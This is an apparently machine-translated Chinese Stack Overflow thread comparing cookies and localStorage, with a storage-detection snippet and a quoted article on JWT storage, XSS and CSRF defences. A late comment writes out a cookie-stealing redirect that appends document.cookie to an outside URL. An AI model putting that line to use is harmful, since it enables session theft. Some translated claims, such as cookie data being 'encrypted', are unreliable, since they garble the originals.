2010-07-10 70 views
729

我想通过将所有cookie移动到本地存储中来减少我的网站上的加载时间,因为它们似乎具有相同的功能。除了明显的兼容性问题之外,使用本地存储替换Cookie功能是否有任何优点/缺点(特别是性能方面)?本地存储vs Cookie

+72

潜在缺点:安全(SSL)页面上的localStorge值是孤立的。因此,如果您的网站同时拥有http页面和https页面,则访问https页面时将无法访问http页面上设置的值。刚在Magento商店试用了localStorage for ajax迷你手推车。史诗失败... – 2013-05-10 10:37:09

+3

一些信息在这里http://markupjavascript.blogspot.in/2013/10/local-storage-cookies-what-to-use.html – 2013-10-08 15:10:06

+0

http://stackoverflow.com/questions/5398604/local -storage-session-storage-web-storage-web-database-and-cookies-in-html5?rq = 1 – geoff 2014-03-23 21:14:44

回答

894

Cookie和本地存储服务于不同目的。 Cookie主要用于读取服务器端,本地存储只能由客户端读取。所以问题是,在您的应用程序中,谁需要此数据—客户端或服务器?

如果是您的客户端(您的JavaScript),那么通过一切手段切换。您通过发送每个HTTP标头中的所有数据来浪费带宽。

如果它是你的服务器,本地存储没有那么有用,因为你必须以某种方式转发数据(使用Ajax或隐藏的表单域或其他)。如果服务器只需要每个请求的总数据的一小部分,这可能是好的。

尽管如此,您仍然希望将会话cookie作为cookie保留。

按照技术差异,也是我的理解:

  1. 除了被保存数据,饼干给你的字节的限制的老办法(4095,实际上) - 它的每个cookie。本地存储是每个域大如5MB - SO Question也提到它

  2. localStorageStorage接口的实现。它存储的数据为无过期日期,并通过JavaScript清除只有或清除浏览器缓存/本地存储的数据 - 不像cookie过期。

+14

HTML5具有会话范围存储,可用作会话cookie的替代品。 – 2012-06-03 03:40:23

+3

@PatNiemeyer,你可以假设'sessionStorage'是一个Cookie,直到浏览器关闭(不是选项卡)才会有效。 @darkporter,谢谢你的回答。但是,想要听听Cookie和本地存储之间**技术**的区别。等待你的编辑。 – 2012-07-17 06:34:57

+17

@OmShankar我不确定你是否仍然有这种疑问,但有以下不同之处:'localStorage' **在客户端保持**,而'cookies'与HTTP头一起发送。这是他们之间最大的(但不是唯一的)区别。 – 2012-11-01 16:33:47

6

那么,本地存储速度很大程度上取决于客户端使用的浏览器以及操作系统。 Mac上的Chrome或Safari可能比PC上的Firefox快得多,特别是使用更新的API。与往常一样,测试是你的朋友(我找不到任何基准)。

我真的没有看到cookie与本地存储的巨大差异。另外,您应该更加担心兼容性问题:并非所有浏览器甚至已经开始支持新的HTML5 API,因此Cookie对于速度和兼容性来说是最好的选择。

+2

这只是一个内部项目,所以像跨浏览器兼容性这样的东西并不是真的需要。因为cookie随每个HTTPRequest一起发送(我的应用程序有〜77个请求),这意味着约500kB的额外开销。 我知道明显的解决方案是CDN,但我想尝试一些不依赖于服务器的东西。 我自己找不到任何基准,这就是为什么我希望有人在这里可能知道。 – 2010-07-10 20:34:01

+9

为什么Chrome或Safari会在Mac上更快?无论您使用的是Mac,Linux还是Windows,它都运行着相同的浏览器代码。 – 2014-10-20 10:07:09

46

随着localStorage,网络应用程序可以在用户的​​浏览器本地存储数据。在HTML5之前,应用程序数据必须存储在cookie中,并包含在每个服务器请求中。 localStorage更安全,并且可以在本地存储大量数据,而不会影响网站的性能。虽然localStorage更现代化,但这两种技术都有一些优点和缺点。

饼干

优点

  • 传统支持(它已经撒手人寰)
  • 持久数据
  • 到期日期

缺点

  • 每个域存储其所有cookie在一个字符串,它可以使 解析数据难以
  • 数据是加密的,因为......虽然 体积小,cookie与每个HTTP发送这成为一个问题请求限定尺寸 (4KB)
  • SQL注入可以从cookie

本地存储

优点进行

  • 支持大多数流行的浏览器是直接存储在浏览器
  • 持久数据
  • 同样的原产地规则适用于本地存储数据
  • 是不是每个每个HTTP请求
  • 〜5MB存储发送域(这是5120KB)

缺点

  • 不支持之前的任何内容:IE 8,Firefox 3.5,Safari 4,Chrome 4,Opera 10.5,iOS 2.0,Android 2.0
  • 如果服务器需要存储客户端信息,您有意将其发送到 。

localStorage用法与第一次使用几乎相同。他们有非常确切的方法,所以从会话切换到localStorage真的是小孩子的游戏。但是,如果存储的数据对于您的应用程序非常重要,那么在localStorage不可用的情况下,您可能会使用cookie作为备份。 “安全(SSL)页被隔离的localStorage值”

/* 
* function body that test if storage is available 
* returns true if localStorage is available and false if it's not 
*/ 
function lsTest(){ 
    var test = 'test'; 
    try { 
     localStorage.setItem(test, test); 
     localStorage.removeItem(test); 
     return true; 
    } catch(e) { 
     return false; 
    } 
} 

/* 
* execute Test and run our custom script 
*/ 
if(lsTest()) { 
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar 
    window.localStorage.setItem(name, 1); 
    console.log('localStorage where used'); // log 
} else { 
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC"; 
    console.log('Cookie where used'); // log 
} 

有人注意到保持:如果您要检查localStorage浏览器的支持,所有你需要做的就是运行这个简单的脚本请注意,如果您从“http”切换到“https”受保护的协议,localStorage将不会是 ,其中 cookie仍将被访问。这对 很重要,请注意您是否使用安全协议。

+1

你正在做的检查不是很可靠。有一些浏览器和模式(私有)具有存储对象,但未能在其上实际设置值。检查实际支持的唯一方法是尝试捕获它的集合删除。 – JavaScript 2016-04-27 13:44:45

+0

采取的点,我已经更新了我的答案乔关于答案: http://stackoverflow.com/questions/16427636/check-if-localstorage-is-available – DevWL 2016-07-28 10:06:04

+2

因为'SQL注入可以执行'被列为一个饼干的对比,你说它不能从localStorage执行? – 2017-01-12 11:09:54

98

在JWTs的上下文中,Stormpath已经写了相当有帮助的文章概述了可能的方式来存储它们,并且(解散)的优点涉及每个方法。

它还简要介绍了XSS和CSRF攻击,以及如何对付它们。

我附上了以下文章的一些简短片段,以防他们的文章脱机/他们的网站出现故障。

本地存储

问题:

Web存储(localStorage的/ sessionStorage的)是通过JavaScript在同一个域访问。这意味着您网站上运行的任何JavaScript都将有权访问Web存储,并且因此可能容易受到跨站点脚本攻击(XSS)的攻击。简而言之,XSS是一种攻击者可以注入将在您的页面上运行的JavaScript的漏洞。基本的XSS攻击尝试通过表单输入注入JavaScript,攻击者在这里输入警报('你被黑客攻击');转换成表格以查看它是否由浏览器运行并且可以被其他用户查看。

预防:

为了防止XSS,常见的反应是逃避和编码所有不可信数据。但这远不是完整的故事。 2015年,现代网络应用使用托管在CDN或外部基础架构上的JavaScript。现代Web应用程序包括用于A/B测试,漏斗/市场分析和广告的第三方JavaScript库。我们使用像Bower这样的软件包管理器将其他人的代码导入到我们的应用中。

如果您使用的脚本中只有一个受到危害,该怎么办?恶意 JavaScript可以嵌入在页面中,Web存储被 损害。这些类型的XSS攻击可以在不知情的情况下访问您网站的每个人的网络存储 。这可能是为什么一组组织建议不要在web存储中存储任何有价值的东西或信任任何信息。这包括会话标识符和 令牌。

作为存储机制,Web存储不传输过程中执行任何安全 标准。谁读网络存储和使用,必须 做尽职调查,以确保他们总是通过HTTPS 永不HTTP发送JWT。

饼干

问题:

饼干,与仅Http cookie的标志一起使用时,不通过JavaScript访问,并且是免疫的XSS。您还可以设置安全cookie标志以保证cookie仅通过HTTPS发送。这是过去利用cookie存储令牌或会话数据的主要原因之一。现代开发人员不愿意使用cookie,因为他们传统上要求将状态存储在服务器上,从而打破了RESTful最佳实践。如果您要在Cookie中存储JWT,则作为存储机制的Cookie不需要将状态存储在服务器上。这是因为JWT封装了服务器为请求提供服务所需的所有内容。

但是,Cookie容易受到不同类型的攻击: 跨站点请求伪造(CSRF)。 CSRF攻击是一种攻击类型 ,当恶意网站,电子邮件或博客导致用户的网络浏览器在用户当前通过身份验证的受信任站点上执行不需要的操作时,会发生此类攻击。这是浏览器如何处理cookie的一个漏洞。 Cookie只能发送到允许使用的 的域名。默认情况下,这是最初 设置cookie的域。无论您是在galaxies.com或hahagonnahackyou.com上,无论您使用的是否为 ,cookie都会发送请求。

预防:

CSRF可以通过使用同步标记图案来防止。这个 听起来很复杂,但是所有现代web框架都支持 这个。

例如,AngularJS有一个解决方案来验证该Cookie是 只能通过您的域访问。直从AngularJS文档:

当执行XHR请求时,$ http服务读取来自一个 饼干的令牌(默认XSRF-TOKEN)并将其设定为一个HTTP头 (X-XSRF-TOKEN)。由于只有在您的域上运行的JavaScript可以通过 读取cookie,因此您的服务器可以确保XHR来自您的域上运行的 JavaScript。您可以通过包括xsrfToken JWT要求使这种CSRF保护 无状态:

{ 
    "iss": "http://galaxies.com", 
    "exp": 1300819380, 
    "scopes": ["explorer", "solar-harvester", "seller"], 
    "sub": "[email protected]romeda.com", 
    "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e" 
} 

利用你的Web应用程序框架的CSRF保护,使饼干摇滚 固体,用于存储JWT。 也可以通过检查API的HTTP Referer和Origin头来部分阻止CSRF。 CSRF 攻击将具有Referer和Origin标头,这些标头与您的应用程序中的 无关。

完整的文章可以在这里找到: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

他们还对如何最好地设计和实施JWTs一个有用的文章,关于令牌本身的结构: https://stormpath.com/blog/jwt-the-right-way/

+4

优秀点。在这样一个很好阅读的问题上,没有提到本地存储的安全含义(或者缺乏XSS) - 除了一个不正确的答案,恕我直言表明它更安全! – 2016-04-02 20:32:19

+6

我发现整个安全谈话有点分心说实话。是的,'localStorage'可以被页面上的其他脚本访问......但XMLHttpRequest'也是如此......而且HttpOnly标志可以防止窃取cookie,但浏览器仍然会自动将它发送到匹配域,所以...基本上当你的页面上运行恶意脚本时,你已经被黑客攻击了。 – 2017-01-20 20:17:27

+1

@StijndeWitt每一层保护都有自己的力量和弱点。所以多保护层通常会更好。举个例子:HttpOnly还可以防止非ajax攻击,比如'window.location ='http://google.com?q='+ escape(document.cookie);'。这种攻击绕过了浏览器的CORS检查。 – 2017-12-20 16:19:31

6

本地存储最多可以存储10mb离线数据,而会话最多可以存储5 MB数据。但Cookie可以仅以文本格式存储4kb数据。

0

值得一提的是,当用户在某些移动版本的Safari中以“私人”模式浏览时,不能使用localStorage

从MDN(https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)报价:

注:与iOS 5开始。1,Safari Mobile在 缓存文件夹中存储localStorage数据,该缓存文件夹偶尔会被清理, 要求操作系统(通常在空间不足时)。 Safari Mobile的Private 浏览模式还会阻止完全写入localStorage。